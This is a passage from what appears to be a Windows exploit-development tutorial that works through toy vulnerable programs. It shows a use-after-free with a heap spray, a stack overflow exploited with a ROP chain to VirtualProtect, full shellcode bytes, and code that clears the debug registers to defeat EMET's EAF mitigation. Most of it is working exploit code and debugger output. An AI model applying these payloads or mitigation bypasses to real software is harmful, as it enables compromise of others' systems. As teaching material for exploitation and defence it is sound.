Your choice [1-6]: 2
------- Blocks -------
block 0: address = 0x004fc488; size = 168 <======= allocated block
----------------------
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]:
As you can see, the new block was allocated at the same address of the deallocated mutator. This means that we control the contents of the memory pointed to by mutators[0].
This seems to be working, but a better way would be to
Read block from file
Configure mutator ===> UAF bug
Duplicate Block
This is more reliable because duplicateBlock() allocate a new block right away without calling other dangerous functions before:
void duplicateBlock() {
listBlocks();
while (true) {
printf("Index of block to duplicate (-1 to exit): ");
int index;
scanf_s("%d", &index);
fflush(stdin);
if (index == -1)
return;
if (index < 0 || index >= (int)blocks.size()) {
printf("Wrong index!\n");
}
else {
while (true) {
int copies;
printf("Number of copies (-1 to exit): ");
scanf_s("%d", &copies);
fflush(stdin);
if (copies == -1)
return;
if (copies <= 0)
printf("Wrong number of copies!\n");
else {
for (int i = 0; i < copies; ++i) {
int size = blocks[index].getSize();
void *data = new char[size]; <========================
memcpy(data, blocks[index].getData(), size);
blocks.push_back(Block(data, size));
}
return;
}
}
}
}
}
Let’s try also this second method:
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]: 1
File path ('exit' to exit): d:\obj.dat
Block read (168 bytes)
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]: 4
1) Multiplier (multiplier = 2)
2) LowerCaser
3) Exit
Your choice [1-3]: 1
mutators[0] = 0x0071c488 <=====================
multiplier (int): asdf
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]: 3
------- Blocks -------
block 0: address = 0x0071c538; size = 168
----------------------
Index of block to duplicate (-1 to exit): 0
Number of copies (-1 to exit): 1
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]: 2
------- Blocks -------
block 0: address = 0x0071c538; size = 168
block 1: address = 0x0071c488; size = 168 <=====================
----------------------
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]:
This works as well, of course.
Heap Spraying in eploitme5
We can spray the heap by reading a big block from file and then making many copies of it. Let’s try to allocate blocks of 1 MB. We can create the file with this script:
with open(r'd:\buf.dat', 'wb') as f:
f.write('a'*0x100000)
Note that 0x100000 is 1 MB in hexadecimal. Let’s open exploitme5 in WinDbg and run it:
Now click on Debug→Break in WinDbg and inspect the heap:
0:001> !heap
NtGlobalFlag enables following debugging aids for new heaps: tail checking
free checking
validate parameters
Index Address Name Debugging options enabled
1: 00140000 tail checking free checking validate parameters
2: 00650000 tail checking free checking validate parameters
3: 01c80000 tail checking free checking validate parameters
4: 01e10000 tail checking free checking validate parameters
0:001> !heap -m <=========== -m displays the segments
Index Address Name Debugging options enabled
1: 00140000
Segment at 00140000 to 00240000 (0002f000 bytes committed)
2: 00650000
Segment at 00650000 to 00660000 (00003000 bytes committed)
3: 01c80000
Segment at 01c80000 to 01c90000 (0000c000 bytes committed)
Segment at 01e50000 to 01f50000 (0001c000 bytes committed)
4: 01e10000
Segment at 01e10000 to 01e50000 (00001000 bytes committed)
That’s odd… where are our 200 MB of data? The problem is that when the Heap manager is asked to allocate a block whose size is above a certain threshold, the allocation request is sent directly to the Virtual Memory Manager. Let’s have a look:
By comparing the addresses, you can verify that the virtual blocks listed by !heap are the same blocks we allocated in exploitme5 and listed by listBlocks(). There’s a difference though:
As we can see, there are 0x20 bytes of metadata (header) so the block starts at 0f5e0000, but the usable portion starts at 0f5e0020.
!heap doesn’t show us the real size, but we know that each block is 1 MB, i.e. 0x100000. Except for the first two blocks, the distance between two adjacent blocks is 0x110000, so there are almost 0x10000 bytes = 64 KB of junk data between adjacent blocks. We’d like to reduce the amount of junk data as much as possible. Let’s try to reduce the size of our blocks. Here’s the updated script:
with open(r'd:\buf.dat', 'wb') as f:
f.write('a'*(0x100000-0x20))
After creating buf.dat, we restart exploitme5.exe in WinDbg, allocate the blocks and we get the following:
What we note, though, is that they are always aligned on 0x10000 boundaries. Now remember that we must add 0x20 to those addresses because of the header:
If we pad our payload so that its size is 0x10000 and we repeat it throughout our entire block of 1 MB (-0x30 bytes), then we will certainly find our payload at, for example, the address 0x0a000020. We chose the address 0x0a000020 because it’s in the middle of our heap spray so, even if the addresses vary a little bit, it will certainly contain our payload.
Note that since the size of our block is 0x30 bytes shorter than 1 MB, the last copy of our payload needs to be truncated. This is not a problem, of course.
Now let’s restart exploitme5.exe in WinDbg, run it, read the block from file, make 200 copies of it, break the execution, and, finally, inspect the memory at 0x0a000020:
As we can see, a copy of our payload starts exactly at 0xa000020, just as we expected. Now we must put it all together and finally exploit exploitme5.exe.
The actual exploitation
We saw that there is a UAF bug in configureMutator(). We can use this function to create a dangling pointer, mutators[0]. By reading a block of 168 bytes (the size of Multiplier) from file, we can make the dangling pointer point to data we control. In particular, the first DWORD of this data will contain the value 0x0a000020, which is the address where we’ll put the VFTable for taking control of the execution flow.
Let’s have a look at mutateBlock():
void mutateBlock() {
listBlocks();
while (true) {
printf("Index of block to mutate (-1 to exit): ");
int index;
scanf_s("%d", &index);
fflush(stdin);
if (index == -1)
break;
if (index < 0 || index >= (int)blocks.size()) {
printf("Wrong index!\n");
}
else {
while (true) {
printf(
"1) Multiplier\n"
"2) LowerCaser\n"
"3) Exit\n"
"Your choice [1-3]: ");
int choice = _getch();
printf("\n\n");
if (choice == '3')
break;
if (choice >= '1' && choice <= '3') {
choice -= '0';
mutators[choice - 1]->mutate(blocks[index].getData(), blocks[index].getSize());
printf("The block was mutated.\n\n");
break;
}
else
printf("Wrong choice!\n\n");
}
break;
}
}
}
By choosing Multiplier, choice will be 1, so that line will evaluate to
mutators[0]->mutate(...);
The method mutate is the second virtual method in the VFTable of the Multiplier. Therefore, at the address 0x0a000020 we’ll put a VFTable with this form:
0x0a000020: whatever
0x0a000024: 0x0a000028
When mutate is called, the execution will jump to the code at the address 0x0a000028, exactly where our shellcode will reside.
The acronym EMET stands for Enhanced Mitigation Experience Toolkit. As of this writing, the latest version of EMET is 5.2 (download).
As always, we’ll be working on Windows 7 SP1 64-bit.
Warning
EMET 5.2 may conflict with some Firewall and AntiVirus software. For instance, I spent hours wondering why EMET would detect exploitation attempts even where there were none. Eventually, I found out that it was a conflict with Comodo Firewall. I had to uninstall it completely.
Good Firewalls are not common so I left Comodo Firewall alone and decided to work in a Virtual Machine (I use VirtualBox).
Protections
As the name suggests, EMET tries to mitigate the effects of exploits. It does this by introducing the following protections:
Data Execution Prevention (DEP)
It stops the execution of instructions if they are located in areas of memory marked as no execute.
Structured Exception Handler Overwrite Protection (SEHOP)
It prevents exploitation techniques that aim at overwriting Windows Structured Exception Handler.
Null Page Protection (NullPage)
It pre-allocates the null page to prevent exploits from using it with malicious purpose.
Heap Spray Protection (HeapSpray)
It pre-allocates areas of memory the are commonly used by attackers to allocate malicious code.
(For instance, 0x0a040a04; 0x0a0a0a0a; 0x0b0b0b0b; 0x0c0c0c0c; 0x0d0d0d0d; 0x0e0e0e0e; 0x04040404; 0x05050505; 0x06060606; 0x07070707; 0x08080808; 0x09090909; 0x20202020; 0x14141414)
Export Address Table Access Filtering (EAF)
It regulates access to the Export Address Table (EAT) based on the calling code.
Export Address Table Access Filtering Plus (EAF+)
It blocks read attempts to export and import table addresses originating from modules commonly used to probe memory during the exploitation of memory corruption vulnerabilities.
Mandatory Address Space Layout Randomization (MandatoryASLR)
It randomizes the location where modules are loaded in memory, limiting the ability of an attacker to point to pre-determined memory addresses.
Bottom-Up Address Space Layout Randomization (BottomUpASLR)
It improves the MandatoryASLR mitigation by randomizing the base address of bottom-up allocations.
Load Library Protection (LoadLib)
It stops the loading of modules located in UNC paths (e.g. \\evilsite\bad.dll), common technique in Return Oriented Programming (ROP) attacks.
Memory Protection (MemProt)
It disallows marking execute memory areas on the stack, common technique in Return Oriented Programming (ROP) attacks.
ROP Caller Check (Caller)
It stops the execution of critical functions if they are reached via a RET instruction, common technique in Return Oriented Programming (ROP) attacks.
ROP Simulate Execution Flow (SimExecFlow)
It reproduces the execution flow after the return address, trying to detect Return Oriented Programming (ROP) attacks.
Stack Pivot (StackPivot)
It checks if the stack pointer is changed to point to attacker-controlled memory areas, common technique in Return Oriented Programming (ROP) attacks.
Attack Surface Reduction (ASR)
It prevents defined modules from being loaded in the address space of the protected process.
This sounds pretty intimidating, doesn’t it? But let’s not give up before we even start!
The program
To analyze EMET with ease is better to use one of our little C/C++ applications. We’re going to reuse exploitme3.cpp (article) but with some modifications:
#include <cstdio>
_declspec(noinline) int f() {
char name[32];
printf("Reading name from file...\n");
FILE *f = fopen("c:\\deleteme\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
name[bytes] = '\0';
fclose(f);
printf("Hi, %s!\n", name);
return 0;
}
int main() {
char moreStack[10000];
for (int i = 0; i < sizeof(moreStack); ++i)
moreStack[i] = i;
return f();
}
The stack variable moreStack gives us more space on the stack. Remember that the stack grows towards low addresses whereas fread writes going towards high addresses. Without this additional space on the stack, fread might reach the end of the stack and crash the program.
The for loop in main is needed otherwise moreStack is optimized away. Also, if function f is inlined, the buffer name is allocated after moreStack (i.e. towards the end of the stack) which defeats the purpose. To avoid this, we need to use _declspec(noinline).
As we did before, we’ll need to disable stack cookies, but leave DEP on, by going to Project→properties, and modifying the configuration for Release as follows:
Configuration Properties
C/C++
Code Generation
Security Check: Disable Security Check (/GS-)
Make sure that DEP is activated:
Configuration Properties
Linker
Advanced
Data Execution Prevention (DEP): Yes (/NXCOMPAT)
ASLR considerations
We know that to beat ASLR we need some kind of info leak and in the next two chapters we’ll develop exploits for Internet Explorer 10 and 11 with ASLR enabled. But for now, let’s ignore ASLR and concentrate on DEP and ROP.
Our program exploitme3 uses the library msvcr120.dll. Unfortunately, every time the program is run, the library is loaded at a different address. We could build our ROP chain from system libraries (kernel32.dll, ntdll.dll, etc…), but that wouldn’t make much sense. We went to great lengths to build a reliable shellcode which gets the addresses of the API functions we want to call by looking them up in the Export Address Tables. If we were to hardcode the addresses of the gadgets taken from kernel32.dll and ntdll.dll then it’d make sense to hardcode the addresses of the API functions as well.
So, the right thing to do is to take our gadgets from msvcr120.dll. Unfortunately, while the base addresses of kernel32.dll and ntdll.dll change only when Windows is rebooted, as we’ve already said, the base address of msvcr120.dll changes whenever exploitme3 is run.
The difference between these two behaviors stems from the fact that kernel32.dll and ntdll.dll are already loaded in memory when exploitme3 is executed, whereas msvcr120.dll is not. Therefore, one solution is to run the following program:
As long as we don’t terminate this program, the base address of msvcr120.dll won’t change. When we run exploitme3, Windows will see that msvcr120.dll is already loaded in memory so it’ll simply map it in the address space of exploitme3. Moreover, msvcr120.dll will be mapped at the same address because it contains position-dependent code which wouldn’t work if placed at a different position.
Now let’s load exploitme3.exe in WinDbg (article) and use mona (article) to generate a rop chain for VirtualProtect:
.load pykd.pyd
!py mona rop -m msvcr120
Here’s the ROP chain found in the file rop_chains.txt created by mona:
def create_rop_chain():
# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
0x7053fc6f, # POP EBP # RETN [MSVCR120.dll]
0x7053fc6f, # skip 4 bytes [MSVCR120.dll]
0x704f00f6, # POP EBX # RETN [MSVCR120.dll]
0x00000201, # 0x00000201-> ebx
0x704b6580, # POP EDX # RETN [MSVCR120.dll]
0x00000040, # 0x00000040-> edx
0x7049f8cb, # POP ECX # RETN [MSVCR120.dll]
0x705658f2, # &Writable location [MSVCR120.dll]
0x7048f95c, # POP EDI # RETN [MSVCR120.dll]
0x7048f607, # RETN (ROP NOP) [MSVCR120.dll]
0x704eb436, # POP ESI # RETN [MSVCR120.dll]
0x70493a17, # JMP [EAX] [MSVCR120.dll]
0x7053b8fb, # POP EAX # RETN [MSVCR120.dll]
0x705651a4, # ptr to &VirtualProtect() [IAT MSVCR120.dll]
0x7053b7f9, # PUSHAD # RETN [MSVCR120.dll]
0x704b7e5d, # ptr to 'call esp' [MSVCR120.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
We’ve already seen how this chain works in the chapter Exploitme3 (DEP), so we won’t repeat ourselves. We’ll also take the script to generate the file name.dat from the same chapter and modify it as needed. This is the initial version:
import struct
# The signature of VirtualProtect is the following:
# BOOL WINAPI VirtualProtect(
# _In_ LPVOID lpAddress,
# _In_ SIZE_T dwSize,
# _In_ DWORD flNewProtect,
# _Out_ PDWORD lpflOldProtect
# );
# After PUSHAD is executed, the stack looks like this:
# .
# .
# .
# EDI (ptr to ROP NOP (RETN))
# ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
# EBP (ptr to POP (skips EAX on the stack))
# ESP (lpAddress (automatic))
# EBX (dwSize)
# EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
# ECX (lpOldProtect (ptr to writeable address))
# EAX (address of ptr to VirtualProtect)
# lpAddress:
# ptr to "call esp"
# <shellcode>
msvcr120 = 0x73c60000
# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000
def create_rop_chain(code_size):
rop_gadgets = [
md + 0x7053fc6f, # POP EBP # RETN [MSVCR120.dll]
md + 0x7053fc6f, # skip 4 bytes [MSVCR120.dll]
md + 0x704f00f6, # POP EBX # RETN [MSVCR120.dll]
code_size, # code_size -> ebx
md + 0x704b6580, # POP EDX # RETN [MSVCR120.dll]
0x00000040, # 0x00000040-> edx
md + 0x7049f8cb, # POP ECX # RETN [MSVCR120.dll]
md + 0x705658f2, # &Writable location [MSVCR120.dll]
md + 0x7048f95c, # POP EDI # RETN [MSVCR120.dll]
md + 0x7048f607, # RETN (ROP NOP) [MSVCR120.dll]
md + 0x704eb436, # POP ESI # RETN [MSVCR120.dll]
md + 0x70493a17, # JMP [EAX] [MSVCR120.dll]
md + 0x7053b8fb, # POP EAX # RETN [MSVCR120.dll]
md + 0x705651a4, # ptr to &VirtualProtect() [IAT MSVCR120.dll]
md + 0x7053b7f9, # PUSHAD # RETN [MSVCR120.dll]
md + 0x704b7e5d, # ptr to 'call esp' [MSVCR120.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
def write_file(file_path):
with open(file_path, 'wb') as f:
ret_eip = md + 0x7048f607 # RETN (ROP NOP) [MSVCR120.dll]
shellcode = (
"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
"\x30\x03\xc6\xeb\xdd")
code_size = len(shellcode)
name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(code_size) + shellcode
f.write(name)
write_file(r'c:\deleteme\name.dat')
Note that you need to assign to the variable msvcr120 the correct value. Remember to run and keep open the little program we talked about to stop msvcr120.dll from changing base address. That little program also tells us the current base address of msvcr120.dll.
Now run exploitme3.exe and the calculator will pop up!
EAF
Let’s enable EAF protection for exploitme3 and run exploitme3 again. This time EMET detects our exploit and closes exploitme3. The official description of EAF says that it
regulates access to the Export Address Table (EAT) based on the calling code.
As a side note, before debugging exploitme3.exe, make sure that exploitme3.pdb, which contains debugging information, is in the same directory as exploitme3.exe.
Let’s open exploitme3 in WinDbg (Ctrl+E), then put a breakpoint on main:
bp exploitme3!main
When we hit F5 (go), we get an odd exception:
(f74.c20): Single step exception - code 80000004 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000bff98 ebx=76462a38 ecx=00000154 edx=763a0000 esi=7645ff70 edi=764614e8
eip=76ec01ae esp=003ef214 ebp=003ef290 iopl=0 nv up ei ng nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000287
ntdll!LdrpSnapThunk+0x1c1:
76ec01ae 03c2 add eax,edx
It seems that esi points to kernel32‘s EAT! We can confirm that esi really points to the Export Directory (another name for EAT) this way:
0:000> !dh kernel32
File Type: DLL
FILE HEADER VALUES
14C machine (i386)
4 number of sections
53159A85 time date stamp Tue Mar 04 10:19:01 2014
0 file pointer to symbol table
0 number of symbols
E0 size of optional header
2102 characteristics
Executable
32 bit word machine
DLL
OPTIONAL HEADER VALUES
10B magic #
9.00 linker version
D0000 size of code
30000 size of initialized data
0 size of uninitialized data
13293 address of entry point
10000 base of code
----- new -----
763a0000 image base
10000 section alignment
10000 file alignment
3 subsystem (Windows CUI)
6.01 operating system version
6.01 image version
6.01 subsystem version
110000 size of image
10000 size of headers
1105AE checksum
00040000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
140 DLL characteristics
Dynamic base
NX compatible
BFF70 [ A9B1] address of Export Directory <----------------------------------
CA924 [ 1F4] address of Import Directory
F0000 [ 528] address of Resource Directory
0 [ 0] address of Exception Directory
0 [ 0] address of Security Directory
100000 [ AD9C] address of Base Relocation Directory
D0734 [ 38] address of Debug Directory
0 [ 0] address of Description Directory
0 [ 0] address of Special Directory
0 [ 0] address of Thread Storage Directory
83510 [ 40] address of Load Configuration Directory
0 [ 0] address of Bound Import Directory
10000 [ DF0] address of Import Address Table Directory
0 [ 0] address of Delay Import Directory
0 [ 0] address of COR20 Header Directory
0 [ 0] address of Reserved Directory
SECTION HEADER #1
.text name
C0796 virtual size
10000 virtual address
D0000 size of raw data
10000 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
60000020 flags
Code
(no align specified)
Execute Read
Debug Directories(2)
Type Size Address Pointer
cv 26 d0770 d0770 Format: RSDS, guid, 2, wkernel32.pdb
( 10) 4 d076c d076c
SECTION HEADER #2
.data name
100C virtual size
E0000 virtual address
10000 size of raw data
E0000 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
C0000040 flags
Initialized Data
(no align specified)
Read Write
SECTION HEADER #3
.rsrc name
528 virtual size
F0000 virtual address
10000 size of raw data
F0000 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
40000040 flags
Initialized Data
(no align specified)
Read Only
SECTION HEADER #4
.reloc name
AD9C virtual size
100000 virtual address
10000 size of raw data
100000 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
42000040 flags
Initialized Data
Discardable
(no align specified)
Read Only
We can see that esi points indeed to the Export Directory:
The instruction which generated the exception accessed the Export Directory at offset 0x1c. Let’s see what there is at that offset by having a look at the file winnt.h:
Since it’s the first time we’ve seen such an exception, it must be EMET’s doing. It seems that EMET’s EAF intercepts any accesses to the field AddressOfFunctions of some Export Directories. Which ones? And how does it do that?
In WinDbg, we could do such a thing by using ba, which relies on hardware breakpoints, so EMET must be using the same method. Let’s have a look at the debug registers:
Let’s be honest here: there’s no need to learn the format of the debug registers. It’s pretty clear that in our case dr0, dr1 and dr2 contain the addresses where the hardware breakpoints are. Let’s see where they point (we’ve already looked at dr1):
The first two points to the Export Directories of ntdll and kernel32 respectively, while the third one looks different. Let’s see:
0:000> !dh kernelbase
File Type: DLL
FILE HEADER VALUES
14C machine (i386)
4 number of sections
53159A86 time date stamp Tue Mar 04 10:19:02 2014
0 file pointer to symbol table
0 number of symbols
E0 size of optional header
2102 characteristics
Executable
32 bit word machine
DLL
OPTIONAL HEADER VALUES
10B magic #
9.00 linker version
3F800 size of code
4400 size of initialized data
0 size of uninitialized data
74C1 address of entry point
1000 base of code
----- new -----
76250000 image base
1000 section alignment
200 file alignment
3 subsystem (Windows CUI)
6.01 operating system version
6.01 image version
6.01 subsystem version
47000 size of image
400 size of headers
49E52 checksum
00040000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
140 DLL characteristics
Dynamic base
NX compatible
3B840 [ 4F19] address of Export Directory <-------------------------
38C9C [ 28] address of Import Directory
43000 [ 530] address of Resource Directory
0 [ 0] address of Exception Directory
0 [ 0] address of Security Directory
44000 [ 25F0] address of Base Relocation Directory
1660 [ 1C] address of Debug Directory
0 [ 0] address of Description Directory
0 [ 0] address of Special Directory
0 [ 0] address of Thread Storage Directory
69D0 [ 40] address of Load Configuration Directory
0 [ 0] address of Bound Import Directory
1000 [ 654] address of Import Address Table Directory
0 [ 0] address of Delay Import Directory
0 [ 0] address of COR20 Header Directory
0 [ 0] address of Reserved Directory
SECTION HEADER #1
.text name
3F759 virtual size
1000 virtual address
3F800 size of raw data
400 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
60000020 flags
Code
(no align specified)
Execute Read
Debug Directories(1)
Type Size Address Pointer
cv 28 6a18 5e18 Format: RSDS, guid, 1, wkernelbase.pdb
SECTION HEADER #2
.data name
11E8 virtual size
41000 virtual address
400 size of raw data
3FC00 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
C0000040 flags
Initialized Data
(no align specified)
Read Write
SECTION HEADER #3
.rsrc name
530 virtual size
43000 virtual address
600 size of raw data
40000 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
40000040 flags
Initialized Data
(no align specified)
Read Only
SECTION HEADER #4
.reloc name
2A18 virtual size
44000 virtual address
2C00 size of raw data
40600 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
42000040 flags
Initialized Data
Discardable
(no align specified)
Read Only
0:000> ? kernelbase+3B840+1c
Evaluate expression: 1982380124 = 7628b85c <----------------------
0:000> ? @dr2
Evaluate expression: 1982380124 = 7628b85c <----------------------
No, false alarm: dr2 points to the Export Directory of KERNELBASE!
Anyway, just for our curiosity, let’s have a look at the Intel Manuals (3B). Here’s the format of the debug registers: Image may be NSFW. Clik here to view.
It’s quite clear that registers DR0, DR1, DR2 and DR3 specify the addresses of the breakpoints. Register DR6 is a status register which reports information about the last debug exception, whereas DR7 contains the settings for the 4 breakpoints. If you are interested in the specifics, have a look at the manual yourself.
All we need to know is that to disable the breakpoints we can just clear the debug registers. Indeed, if you load exploitme3.exe in WinDbg and look at the debug registers before EMET modify them, you’ll see the following:
0:000> rM 20
dr0=00000000 dr1=00000000 dr2=00000000
dr3=00000000 dr6=00000000 dr7=00000000
ntdll!LdrpDoDebuggerBreak+0x2c:
76f3103b cc int 3
Clearing the debug registers (1)
Clearing the debug registers should be easy enough, right? Let’s try it!
We can put the code to clear the debug registers right before our shellcode so that our shellcode can access the Export Directories with impunity.
To generate the machine code, we can write the asm code in Visual Studio, debug the program and Go to the Disassembly (right click on an assembly instruction). From there, we can copy and paste the code in PyCharm and edit the code a bit.
Here’s the result:
import struct
# The signature of VirtualProtect is the following:
# BOOL WINAPI VirtualProtect(
# _In_ LPVOID lpAddress,
# _In_ SIZE_T dwSize,
# _In_ DWORD flNewProtect,
# _Out_ PDWORD lpflOldProtect
# );
# After PUSHAD is executed, the stack looks like this:
# .
# .
# .
# EDI (ptr to ROP NOP (RETN))
# ESI (ptr to JMP [EAX] (EAX = address of ptr to VirtualProtect))
# EBP (ptr to POP (skips EAX on the stack))
# ESP (lpAddress (automatic))
# EBX (dwSize)
# EDX (NewProtect (0x40 = PAGE_EXECUTE_READWRITE))
# ECX (lpOldProtect (ptr to writeable address))
# EAX (address of ptr to VirtualProtect)
# lpAddress:
# ptr to "call esp"
# <shellcode>
msvcr120 = 0x73c60000
# Delta used to fix the addresses based on the new base address of msvcr120.dll.
md = msvcr120 - 0x70480000
def create_rop_chain(code_size):
rop_gadgets = [
md + 0x7053fc6f, # POP EBP # RETN [MSVCR120.dll]
md + 0x7053fc6f, # skip 4 bytes [MSVCR120.dll]
md + 0x704f00f6, # POP EBX # RETN [MSVCR120.dll]
code_size, # code_size -> ebx
md + 0x704b6580, # POP EDX # RETN [MSVCR120.dll]
0x00000040, # 0x00000040-> edx
md + 0x7049f8cb, # POP ECX # RETN [MSVCR120.dll]
md + 0x705658f2, # &Writable location [MSVCR120.dll]
md + 0x7048f95c, # POP EDI # RETN [MSVCR120.dll]
md + 0x7048f607, # RETN (ROP NOP) [MSVCR120.dll]
md + 0x704eb436, # POP ESI # RETN [MSVCR120.dll]
md + 0x70493a17, # JMP [EAX] [MSVCR120.dll]
md + 0x7053b8fb, # POP EAX # RETN [MSVCR120.dll]
md + 0x705651a4, # ptr to &VirtualProtect() [IAT MSVCR120.dll]
md + 0x7053b7f9, # PUSHAD # RETN [MSVCR120.dll]
md + 0x704b7e5d, # ptr to 'call esp' [MSVCR120.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
def write_file(file_path):
with open(file_path, 'wb') as f:
ret_eip = md + 0x7048f607 # RETN (ROP NOP) [MSVCR120.dll]
shellcode = (
"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" +
"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" +
"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" +
"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" +
"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" +
"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" +
"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" +
"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" +
"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" +
"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" +
"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" +
"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" +
"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" +
"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" +
"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" +
"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" +
"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" +
"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" +
"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" +
"\x30\x03\xc6\xeb\xdd")
disable_EAF = (
"\x33\xC0" + # xor eax,eax
"\x0F\x23\xC0" + # mov dr0,eax
"\x0F\x23\xC8" + # mov dr1,eax
"\x0F\x23\xD0" + # mov dr2,eax
"\x0F\x23\xD8" + # mov dr3,eax
"\x0F\x23\xF0" + # mov dr6,eax
"\x0F\x23\xF8" # mov dr7,eax
)
code = disable_EAF + shellcode
name = 'a'*36 + struct.pack('<I', ret_eip) + create_rop_chain(len(code)) + code
f.write(name)
write_file(r'c:\deleteme\name.dat')
If we execute exploitme3 we get a glorious crash!
